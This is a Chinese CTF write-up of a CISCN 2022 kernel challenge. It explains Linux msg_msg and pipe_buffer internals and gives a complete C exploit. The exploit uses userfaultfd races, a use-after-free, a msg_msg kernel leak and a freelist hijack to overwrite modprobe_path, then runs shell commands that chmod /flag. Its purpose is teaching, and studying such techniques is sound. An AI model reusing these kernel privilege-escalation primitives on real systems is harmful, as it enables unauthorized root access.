[原创]从ciscn2022半决赛一道一解题浅析msg_msg结构体
2023-4-2 22:53:2 Author: bbs.pediy.com(查看原文) 阅读量:9 收藏

消息队列是Linux的一种通信机制,这种通信机制传递的数据具有某种结构,而不是简单的字节流。消息队列的本质其实是一个内核提供的链表,内核基于这个链表,实现了一个数据结构。

1

2

3

4

5

6

7

8

struct msg_msg {

    struct list_head m_list;

    long m_type;

    size_t m_ts;        /* message text size */

    struct msg_msgseg *next;

    void *security;

    /* the actual message follows immediately */

};

1

2

3

struct list_head {

    struct list_head *next, *prev;

};

1

2

3

4

struct msg_msgseg {

    struct msg_msgseg *next;

    /* the next part of the message follows immediately */

};

1

int msgget(key_t key, int msgflag)

调用msgget函数会创建新的消息队列,或者获取已有的消息队列,若创建新的消息队列,会创建一个msg_queue结构体当消息队列msg_msg双向循环链表的起始节点。

需要注意的是后续若某进程调用msgsnd函数对消息队列进行写操作,需要该进程有写权限;同理msgrcv需要有读权限。这是由msgget函数中的第二个参数中的权限控制符所决定的。

1

int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

static long do_msgsnd(int msqid, long mtype, void __user *mtext,

        size_t msgsz, int msgflg)

{

    struct msg_queue *msq;

    struct msg_msg *msg;

    int err;

    struct ipc_namespace *ns;

    DEFINE_WAKE_Q(wake_q);

    ns = current->nsproxy->ipc_ns;

    if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)

        return -EINVAL;

    if (mtype < 1)

        return -EINVAL;

    msg = load_msg(mtext, msgsz);

   ...........

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

struct msg_msg *load_msg(const void __user *src, size_t len)

{

    struct msg_msg *msg;

    struct msg_msgseg *seg;

    int err = -EFAULT;

    size_t alen;

    msg = alloc_msg(len);

    if (msg == NULL)

        return ERR_PTR(-ENOMEM);

    alen = min(len, DATALEN_MSG);

    if (copy_from_user(msg + 1, src, alen))

        goto out_err;

    for (seg = msg->next; seg != NULL; seg = seg->next) {

        len -= alen;

        src = (char __user *)src + alen;

        alen = min(len, DATALEN_SEG);

        if (copy_from_user(seg + 1, src, alen))

            goto out_err;

    }

    err = security_msg_msg_alloc(msg);

    if (err)

        goto out_err;

    return msg;

out_err:

    free_msg(msg);

    return ERR_PTR(err);

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

static struct msg_msg *alloc_msg(size_t len)

{

    struct msg_msg *msg;

    struct msg_msgseg **pseg;

    size_t alen;

    alen = min(len, DATALEN_MSG);

    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);

    if (msg == NULL)

        return NULL;

    msg->next = NULL;

    msg->security = NULL;

    len -= alen;

    pseg = &msg->next;

    while (len > 0) {

        struct msg_msgseg *seg;

        cond_resched();

        alen = min(len, DATALEN_SEG);

        seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);

        if (seg == NULL)

            goto out_err;

        *pseg = seg;

        seg->next = NULL;

        pseg = &seg->next;

        len -= alen;

    }

    return msg;

out_err:

    free_msg(msg);

    return NULL;

}

1

ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp,int msgflg)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

static struct msg_msg *find_msg(struct msg_queue *msq, long *msgtyp, int mode)

{

    struct msg_msg *msg, *found = NULL;

    long count = 0;

    list_for_each_entry(msg, &msq->q_messages, m_list)

    {

        if (testmsg(msg, *msgtyp, mode) &&

            !security_msg_queue_msgrcv(&msq->q_perm, msg, current,

                           *msgtyp, mode))

        {

            if (mode == SEARCH_LESSEQUAL && msg->m_type != 1)

            {

                *msgtyp = msg->m_type - 1;

                found = msg;

            }

            else if (mode == SEARCH_NUMBER)

            {

                if (*msgtyp == count)

                    return msg;

            }

            else

                return msg;

            count++;

        }

    }

    return found ?: ERR_PTR(-EAGAIN);

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

static int testmsg(struct msg_msg *msg, long type, int mode)

{

    switch (mode) {

    case SEARCH_ANY:

    case SEARCH_NUMBER:

        return 1;

    case SEARCH_LESSEQUAL:

        if (msg->m_type <= type)

            return 1;

        break;

    case SEARCH_EQUAL:

        if (msg->m_type == type)

            return 1;

        break;

    case SEARCH_NOTEQUAL:

        if (msg->m_type != type)

            return 1;

        break;

    }

    return 0;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

static inline int convert_mode(long *msgtyp, int msgflg)

{

    if (msgflg & MSG_COPY)

        return SEARCH_NUMBER;

    /*

     *  find message of correct type.

     *  msgtyp = 0 => get first.

     *  msgtyp > 0 => get first message of matching type.

     *  msgtyp < 0 => get message with least type must be < abs(msgtype).

     */

    if (*msgtyp == 0)

        return SEARCH_ANY;

    if (*msgtyp < 0) {

        if (*msgtyp == LONG_MIN) /* -LONG_MIN is undefined */

            *msgtyp = LONG_MAX;

        else

            *msgtyp = -*msgtyp;

        return SEARCH_LESSEQUAL;

    }

    if (msgflg & MSG_EXCEPT)

        return SEARCH_NOTEQUAL;

    return SEARCH_EQUAL;

}

特例:MSG_COPY位为1的时候,modeSEARCH-NUMBER,在find_msg中会返回msg_msg双向循环链表中,第msgtypmsg_msg,也就是返回第msgtyp条消息,而不是上述表格中根据msgtyp去和msg->m_type进行匹配。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,

           long (*msg_handler)(void __user *, struct msg_msg *, size_t))

{

    int mode;

    struct msg_queue *msq;

    struct ipc_namespace *ns;

    struct msg_msg *msg, *copy = NULL;

    ...........

    ...........

    list_del(&msg->m_list);

    ...........

    ...........

    free_msg(msg);

    return bufsz;

内核首先会调用 list_del() 将其从 msg_queue 的双向链表上 unlink,之后再调用 free_msg() 释放 msg_msg 单向链表上的所有消息。

1

bufsz = msg_handler(buf, msg, bufsz);

1

2

3

4

5

long ksys_msgrcv(int msqid, struct msgbuf __user *msgp, size_t msgsz,

         long msgtyp, int msgflg)

{

    return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);

}

1

2

3

4

5

6

7

8

9

10

11

12

13

static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz)

{

    struct msgbuf __user *msgp = dest;

    size_t msgsz;

    if (put_user(msg->m_type, &msgp->mtype))

        return -EFAULT;

    msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;

    if (store_msg(msgp->mtext, msg, msgsz))

        return -EFAULT;

    return msgsz;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

int store_msg(void __user *dest, struct msg_msg *msg, size_t len)

{

    size_t alen;

    struct msg_msgseg *seg;

    alen = min(len, DATALEN_MSG);

    if (copy_to_user(dest, msg + 1, alen))

        return -1;

    for (seg = msg->next; seg != NULL; seg = seg->next) {

        len -= alen;

        dest = (char __user *)dest + alen;

        alen = min(len, DATALEN_SEG);

        if (copy_to_user(dest, seg + 1, alen))

            return -1;

    }

    return 0;

}

若有MSG_COPY标志,源码注释:If we are copying, then do not unlink message and do not update queue parameters.

不会调用list_del()去进行unlink,并且最后free_msg()释放的是我们在内核中copy出来的堆块。也就是说,我们可以通过设置MSG_COPY多次读取一条消息。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

if (!IS_ERR(msg)) {

            /*

             * Found a suitable message.

             * Unlink it from the queue.

             */

            if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {

                msg = ERR_PTR(-E2BIG);

                goto out_unlock0;

            }

            /*

             * If we are copying, then do not unlink message and do

             * not update queue parameters.

             */

            if (msgflg & MSG_COPY) {

                msg = copy_msg(msg, copy);

                goto out_unlock0;

            }

            list_del(&msg->m_list);

            msq->q_qnum--;

            msq->q_rtime = ktime_get_real_seconds();

            ipc_update_pid(&msq->q_lrpid, task_tgid(current));

            msq->q_cbytes -= msg->m_ts;

            atomic_sub(msg->m_ts, &ns->msg_bytes);

            atomic_dec(&ns->msg_hdrs);

            ss_wakeup(msq, &wake_q, false);

            goto out_unlock0;

        }

MSG_COPY位为1的时候,modeSEARCH-NUMBER,在find_msg中会返回msg_msg双向循环链表中,第msgtypmsg_msg,也就是返回第msgtyp条消息,而不是上述表格中根据msgtyp去和msg->m_type进行匹配。

1

2

3

4

5

6

7

8

9

10

11

static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)

{

    struct msg_msg *copy;

    /*

     * Create dummy message to copy real message to.

     */

    copy = load_msg(buf, bufsz);

    if (!IS_ERR(copy))

        copy->m_ts = bufsz;

    return copy;

但是需要注意的是,我们需要伪造我们需要读的地址target的next指针为NULL,不然在store_msg进行数据拷贝的时候,是以NULL指针为结束判断条件,因此我们需要满足target->next==NULL or target->next->next==NULL,反正需要我们伪造的任意读链表存在一个NULL节点,且中途不能到达不可读地址,否则会造成kernel panic。

do_msgsnd函数中调用了load_msg进行用户到内核的数据拷贝,若我们利用userfault机制暂停一个线程,再在另一个线程中篡改掉msg->next指针,则可以实现任意地址写。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

struct list_head {

    uint64_t    next;

    uint64_t    prev;

};

struct msg_msg {

    struct list_head m_list;

    uint64_t    m_type;

    uint64_t    m_ts;

    uint64_t    next;

    uint64_t    security;

};

struct msg_msgseg {

    uint64_t    next;

};

struct msgbuf {

    long mtype;

    char mtext[0];

};

int getMsgQueue(void)

{

    return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);

}

int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)

{

    return msgrcv(msqid, msgp, msgsz, msgtyp, 0);

}

/**

 * the msgp should be a pointer to the `struct msgbuf`,

 * and the data should be stored in msgbuf.mtext

 */

int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)

{

    ((struct msgbuf*)msgp)->mtype = msgtyp;

    return msgsnd(msqid, msgp, msgsz, 0);

}

/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */

int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)

{

    return msgrcv(msqid, msgp, msgsz, msgtyp,

                  MSG_COPY | IPC_NOWAIT | MSG_NOERROR);

}

void buildMsg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev,

              uint64_t m_type, uint64_t m_ts,  uint64_t next, uint64_t security)

{

    msg->m_list.next = m_list_next;

    msg->m_list.prev = m_list_prev;

    msg->m_type = m_type;

    msg->m_ts = m_ts;

    msg->next = next;

    msg->security = security;

}

pipe是Linux系统跨进程通信的一种方式。管道是连接一个读进程和一个写进程,以实现它们之间通信的共享文件。基于pipe族系统调用实现(而非open())。而这个文件不是真正的文件,向管道文件读写数据其实是在读写内核缓冲区

pipe() 创建一个管道,一个可用于进程间通信的单向数据通道。 数组 pipefd 用于返回两个指向管道末端的文件描述符。 pipefd[0] 是管道的读端fd。 pipefd[1] 是管道的写端fd。 写端把数据写入管道,直到读端读取数据。

1

2

3

4

5

6

7

struct pipe_buffer {

    struct page *page;

    unsigned int offset, len;

    const struct pipe_buf_operations *ops;

    unsigned int flags;

    unsigned long private;

};

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

struct pipe_inode_info *alloc_pipe_info(void)

{

    struct pipe_inode_info *pipe;

    unsigned long pipe_bufs = PIPE_DEF_BUFFERS;

    struct user_struct *user = get_current_user();

    unsigned long user_bufs;

    unsigned int max_size = READ_ONCE(pipe_max_size);

    pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);

    if (pipe == NULL)

        goto out_free_uid;

    if (pipe_bufs * PAGE_SIZE > max_size && !capable(CAP_SYS_RESOURCE))

        pipe_bufs = max_size >> PAGE_SHIFT;

    user_bufs = account_pipe_buffers(user, 0, pipe_bufs);

    if (too_many_pipe_buffers_soft(user_bufs) && pipe_is_unprivileged_user()) {

        user_bufs = account_pipe_buffers(user, pipe_bufs, PIPE_MIN_DEF_BUFFERS);

        pipe_bufs = PIPE_MIN_DEF_BUFFERS;

    }

    if (too_many_pipe_buffers_hard(user_bufs) && pipe_is_unprivileged_user())

        goto out_revert_acct;

    pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),

                 GFP_KERNEL_ACCOUNT);

    if (pipe->bufs) {

        init_waitqueue_head(&pipe->rd_wait);

        init_waitqueue_head(&pipe->wr_wait);

        pipe->r_counter = pipe->w_counter = 1;

        pipe->max_usage = pipe_bufs;

        pipe->ring_size = pipe_bufs;

        pipe->nr_accounted = pipe_bufs;

        pipe->user = user;

        mutex_init(&pipe->mutex);

        return pipe;

    }

out_revert_acct:

    (void) account_pipe_buffers(user, pipe_bufs, 0);

    kfree(pipe);

out_free_uid:

    free_uid(user);

    return NULL;

}

1

2

3

unsigned long pipe_bufs = PIPE_DEF_BUFFERS;

pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),

                 GFP_KERNEL_ACCOUNT);

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

struct pipe_buf_operations {

    /*

     * ->confirm() verifies that the data in the pipe buffer is there

     * and that the contents are good. If the pages in the pipe belong

     * to a file system, we may need to wait for IO completion in this

     * hook. Returns 0 for good, or a negative error value in case of

     * error.  If not present all pages are considered good.

     */

    int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

    /*

     * When the contents of this pipe buffer has been completely

     * consumed by a reader, ->release() is called.

     */

    void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

    /*

     * Attempt to take ownership of the pipe buffer and its contents.

     * ->try_steal() returns %true for success, in which case the contents

     * of the pipe (the buf->page) is locked and now completely owned by the

     * caller. The page may then be transferred to a different mapping, the

     * most often used case is insertion into different file address space

     * cache.

     */

    bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

    /*

     * Get a reference to the pipe buffer.

     */

    bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);

};

主要关注其release指针,在我们关闭一个管道的两端之后,管道会被释放,同样pipe_buffer也会被释放。调用的是函数表中的release指针。调用路径为:free_pipe_info->pipe_buf_release

1

2

3

4

5

6

7

8

9

10

11

12

static ssize_t

pipe_write(struct kiocb *iocb, struct iov_iter *from)

{

...

...

            buf = &pipe->bufs[head & mask];

            buf->page = page;

            buf->ops = &anon_pipe_buf_ops;

            buf->offset = 0;

            buf->len = 0;

...

...

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

int __fastcall kernel_release(inode *inode, file *filp)

{

  char **v2; // rax

  int result; // eax

  _fentry__();

  v2 = addrList;

  do

    *v2++ = 0LL;

  while ( v2 != &addrList[32] );

  kfree(buffer, filp);

  result = 0;

  flags = 0;

  return result;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

void kernel_open()

{

  __int64 v0; // rdi

  _fentry__();

  if ( !flags )

  {

    v0 = kmalloc_caches[8];

    flags = 1;

    buffer = (char *)kmem_cache_alloc_trace(v0, 0xCC0LL, 0x100LL);

    if ( buffer )

      kernel_open_cold();

  }

}

但是由于kernel_readkernel_writekernel_openkernel_release均未加锁,且readwrite中含有类似于如下的copy_to_user操作:

1

2

if ( copy_to_user(a2, v4, v5) )

      return -2LL;

所有功能都未加锁,因此可以用userfaultfd在edit时将进程卡死,在另一个线程中free掉这个堆块后申请某些object到该地址上,实现0x400 size object的UAF(只能更改一次值)。

笔者最先考虑的是用pipe_buffer提权,刚好满足0x400的size,因此我们利用UAF将pipe_buffer->pipe_buf_operations->release函数指针更改为某个栈迁移gadget即可。

同时还有例如mov esp,esi类型的gadget,由于intel x86&x64的调用约定,当对32位寄存器进行赋值操作的时候,会将高32位寄存器值清零,因此也不可用。

同时注意到程序没有开启CONFIG_STATIC_USERMODEHELPER保护,因此笔者选择用UAF劫持0x400 size的freelistmodprobe_path附近,更改modprobe_path

因为modprobe_path是一个Linux程序,最初由Rusty Russell编写,用于在Linux内核中添加一个可加载的内核模块,或者从内核中移除一个可加载的内核模块,因此modprobe是安装某个内核模块,而kmod是一个用于控制linux内核模块的程序,因此在后续调用中需要用到

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

388

389

390

391

392

393

394

395

396

397

398

399

400

401

402

403

404

405

406

407

408

409

410

411

412

413

414

415

416

417

418

419

420

421

422

423

424

425

426

427

428

429

430

431

432

433

434

435

436

437

438

439

440

441

442

443

444

445

446

447

448

449

450

451

452

453

454

455

456

457

458

459

460

461

462

463

464

465

466

467

468

469

470

size_t fd;

size_t kernel_base;

size_t tmp_buf[0x500];

char *msg_buf;

size_t fake_ops_buf[0x100];

int ms_qid[0x100];

int pipe_fd[0x20][2];

sem_t sem_addmsg;

sem_t sem_editmsg;

sem_t edit_down;

sem_t edit_heap_next;

sem_t sem_edit_msg_for_modpath;

struct list_head {

    size_t    next;

    size_t    prev;

};

struct msg_msg {

    struct list_head m_list;

    size_t    m_type;

    size_t    m_ts;

    size_t    next;

    size_t    security;

};

struct msg_msgseg {

    size_t    next;

};

// struct msgbuf {

//     long mtype;

//     char mtext[0];

// };

int getMsgQueue(void)

{

    return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);

}

int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)

{

    return msgrcv(msqid, msgp, msgsz, msgtyp, 0);

}

/**

 * the msgp should be a pointer to the `struct msgbuf`,

 * and the data should be stored in msgbuf.mtext

 */

int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)

{

    ((struct msgbuf*)msgp)->mtype = msgtyp;

    return msgsnd(msqid, msgp, msgsz, 0);

}

/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */

int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)

{

    return msgrcv(msqid, msgp, msgsz, msgtyp,

                  MSG_COPY | IPC_NOWAIT | MSG_NOERROR);

}

void buildMsg(struct msg_msg *msg, size_t m_list_next, size_t m_list_prev,

              size_t m_type, size_t m_ts,  size_t next, size_t security)

{

    msg->m_list.next = m_list_next;

    msg->m_list.prev = m_list_prev;

    msg->m_type = m_type;

    msg->m_ts = m_ts;

    msg->next = next;

    msg->security = security;

}

typedef struct delete

{

    size_t idx;

}delete_arg;

typedef struct edit

{

    size_t idx;

    size_t size;

    char *content;

}edit_arg;

typedef struct add

{

    size_t idx;

    char *content;

}add_arg;

void ErrExit(char* err_msg)

{

    puts(err_msg);

    exit(-1);

}

void add(char *content)

{

    add_arg tmp=

    {

        .content = content,

    };

    ioctl(fd,0x20,&tmp);

}

void delete(size_t idx)

{

    delete_arg tmp=

    {

        .idx=idx,

    };

    ioctl(fd,0x30,&tmp);

}

void edit(size_t idx,size_t size,char *content)

{

    edit_arg tmp=

    {

        .idx=idx,

        .size = size,

        .content=content,

    };

    ioctl(fd,0x50,&tmp);

}

void leak(size_t *content,size_t size)

{

    printf("[*]Leak: ");

    for(int i=0;i<(int)(size/8);i++)

    {

       printf("%llx\n",content[i]);

    }

}

void RegisterUserfault(void *fault_page, void* handler)

{

    pthread_t thr;

    struct uffdio_api ua;

    struct uffdio_register ur;

    size_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

    ua.api = UFFD_API;

    ua.features    = 0;

    if (ioctl(uffd, UFFDIO_API, &ua) == -1)

        ErrExit("[-] ioctl-UFFDIO_API");

    ur.range.start = (unsigned long)fault_page; //我们要监视的区域

    ur.range.len   = PAGE_SIZE;

    ur.mode        = UFFDIO_REGISTER_MODE_MISSING;

    if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作

        ErrExit("[-] ioctl-UFFDIO_REGISTER");

    //开一个线程,接收错误的信号,然后处理

    int s = pthread_create(&thr, NULL,handler, (void*)uffd);

    if (s!=0)

        ErrExit("[-] pthread_create");

}

static char *page = NULL; // 你要拷贝进去的数据

static char *buf = NULL;

static char *buf2 = NULL;

static char *buf3 = NULL;

static long page_size;

static void *

fault_handler_thread(void *arg)

{

    struct uffd_msg msg;

    unsigned long uffd = (unsigned long) arg;

    puts("[+] sleep3 handler created");

    int nready;

    struct pollfd pollfd;

    pollfd.fd = uffd;

    pollfd.events = POLLIN;

    nready = poll(&pollfd, 1, -1);

    puts("[+] sleep3 handler unblocked");

    sem_post(&sem_addmsg);

    if (nready != 1)

    {

        ErrExit("[-] Wrong poll return val");

    }

    nready = read(uffd, &msg, sizeof(msg));

    if (nready <= 0)

    {

        ErrExit("[-] msg err");

    }

    sem_wait(&sem_editmsg);

    char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if (page == MAP_FAILED)

    {

        ErrExit("[-] mmap err");

    }

    struct uffdio_copy uc;

    // init page

    memset(page, 0, sizeof(page));

    memset(tmp_buf, 0, 0x50);

    tmp_buf[3] = 0xd00;

    memcpy(page,tmp_buf,0x50);

    // strcpy(page,"Lotus_just_Test");

    uc.src = (unsigned long) page;

    uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);

    uc.len = PAGE_SIZE;

    uc.mode = 0;

    uc.copy = 0;

    ioctl(uffd, UFFDIO_COPY, &uc);

    puts("[+] sleep3 handler done");

    return NULL;

}

void UAF()

{

    sem_wait(&sem_addmsg);

    delete(0);

    // RED puts("in"); CLOSE

    int ret=0;

    for (int i = 0; i < 0x1; i++)

    {

        ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);

        if (ms_qid[i] < 0)

        {

            puts("[x] msgget!");

            return -1;

        }

    }

    for (int i = 0; i < 0x2; i++)

    {

        memset(msg_buf, 'A' + i, 0X400 - 8);

        ret = msgsnd(ms_qid[0], msg_buf, 0x400 - 0x30, 0);

        if (ret < 0)

        {

            puts("[x] msgsnd!");

            return -1;

        }

    }

    RED puts("[*] msg_msg spraying finish."); CLOSE

    sem_post(&sem_editmsg);

}

static void *

fault_handler_thread2(void *arg)

{

    struct uffd_msg msg;

    unsigned long uffd = (unsigned long) arg;

    puts("[+] edit heap->next handler created");

    int nready;

    struct pollfd pollfd;

    pollfd.fd = uffd;

    pollfd.events = POLLIN;

    nready = poll(&pollfd, 1, -1);

    puts("[+] edit heap->next handler unblocked");

    sem_post(&edit_heap_next);

    if (nready != 1)

    {

        ErrExit("[-] Wrong poll return val");

    }

    nready = read(uffd, &msg, sizeof(msg));

    if (nready <= 0)

    {

        ErrExit("[-] msg err");

    }

    sem_wait(&edit_down);

    char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if (page == MAP_FAILED)

    {

        ErrExit("[-] mmap err");

    }

    struct uffdio_copy uc;

    // init page

    memset(page, 0, sizeof(page));

    memcpy(page,fake_ops_buf,0x208);

    // leak(page,0x208);

    // strcpy(page,"Lotus_just_Test");

    uc.src = (unsigned long) page;

    uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);

    uc.len = PAGE_SIZE;

    uc.mode = 0;

    uc.copy = 0;

    ioctl(uffd, UFFDIO_COPY, &uc);

    puts("[+] edit heap->next handler down!");

    return NULL;

}

void UAF2()

{

    sem_wait(&edit_heap_next);

    delete(0);

    sem_post(&edit_down);

}

void modprobe_path_hijack(void){

    puts("[*] Returned to userland, setting up for fake modprobe");

    system("echo '#!/bin/sh\nchmod 777 /flag\n' > /tmp/Lotus.sh");

    system("chmod +x /tmp/Lotus.sh");

    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");

    system("chmod +x /tmp/fake");

    // system("cat /proc/sys/kernel/modprobe");

    puts("[*] Run unknown file");

    system("/tmp/fake");

    system("ls -al /flag");

    system("cat /flag");

    RED puts("[*]Get shell!"); CLOSE

    sleep(5);

}

int main()

{

    pthread_t edit_t,edit2_t;

    msg_buf = malloc(0x1000);

    memset(msg_buf, 0, 0x1000);

    fd = open("/dev/kernelpwn",O_RDWR);

    buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); //for edit msg->m_ts

    buf2 = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);//for spray the msg_msg and edit msg->next

    RegisterUserfault(buf,fault_handler_thread);

    RegisterUserfault(buf2,fault_handler_thread2);

    sem_init(&sem_addmsg,0,0);

    sem_init(&sem_editmsg,0,0);

    sem_init(&edit_heap_next,0,0);

    sem_init(&sem_edit_msg_for_modpath,0,0);

    sem_init(&edit_down,0,0);

    add("TEST_chunk");

    pthread_create(&edit_t,NULL,UAF,0);

    pthread_create(&edit2_t,NULL,UAF2,0);

    edit(0,0x20,buf);

    GREEN puts("[*]Write in!"); CLOSE

    for (int i = 0; i < 1; i++)

    {

        if (pipe(pipe_fd[i]) < 0)

        {

            RED puts("failed to create pipe!"); CLOSE

        }

        if (write(pipe_fd[i][1], "_Lotus_", 8) < 0)

        {

            RED puts("failed to write the pipe!"); CLOSE

        }

    }

    RED puts("[*] pipe_buffer spraying finish."); CLOSE

    memset(tmp_buf, 0, 0x1000);

    if(peekMsg(ms_qid[0],tmp_buf,0xe00,0)<0)

    {

        RED puts("[*]Leak error!"); CLOSE

    }

    // leak(tmp_buf,0xd00);

    kernel_base = tmp_buf[0x7e8/8]-0x103ed80;

    size_t pipe_addr =  tmp_buf[0x3e0/8]+0xc00;

    BLUE printf("[*]Kernel_base: 0x%llx\n",kernel_base); CLOSE

    BLUE printf("[*]pipe_addr: 0x%llx\n",pipe_addr); CLOSE

    close(pipe_fd[0][0]);

    close(pipe_fd[0][1]);

    // size_t push_rsi_pop_rsp = real(0xffffffff81934056);//push rsi; pop rsp; retf;

    // size_t push_rsi_pop_rbp = real(0xffffffff81422d1f);//push rsi; pop rbp; ret;

    // size_t call_rsi_leave_ret = real(0xffffffff81c0114d);//call rsi; nop; nop; nop; leave; ret;

    size_t modprobe_path = real(0xffffffff82a6c000);

    memset(fake_ops_buf, 0x61,0x800);

    fake_ops_buf[0x200/8] = modprobe_path-0xc0;

    add("Lotus_chunk");

    edit(0,0x208,buf2);

    for (int i = 1; i < 0x3; i++)

    {

        ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);

        if (ms_qid[i] < 0)

        {

            puts("[x] msgget!");

            return -1;

        }

    }

    size_t modprobe_path_buf[0x80];

    memset(modprobe_path_buf,0,0x400);

    int idx=0x34;

    modprobe_path_buf[idx++]=real(0xffffffff82a6c108);

    modprobe_path_buf[idx++]=real(0xffffffff82a6c108);

    modprobe_path_buf[idx++]=0x32;

    modprobe_path_buf[0]=0xdeadbeef;

    modprobe_path_buf[0x13]=0x746f4c2f706d742f;

    modprobe_path_buf[0x14]=0x68732e7375;

    for (int i = 1; i < 0x3; i++)

    {

        int ret = msgsnd(ms_qid[i], modprobe_path_buf, 0x400 - 0x30, 0);

        if (ret < 0)

        {

            puts("[x] msgsnd!");

            return -1;

        }

    }

    RED puts("[*]edit modprobe_path success."); CLOSE

    modprobe_path_hijack();

}

但是奇怪的是,按理来说两种编译方式不会对poc造成影响,gcc的可以正常运行,而musl-gccmodprobe_path_hijack后,第一次调用system时,内核会panic在slub里。


文章来源: https://bbs.pediy.com/thread-276717.htm
如有侵权请联系:admin#unsafe.sh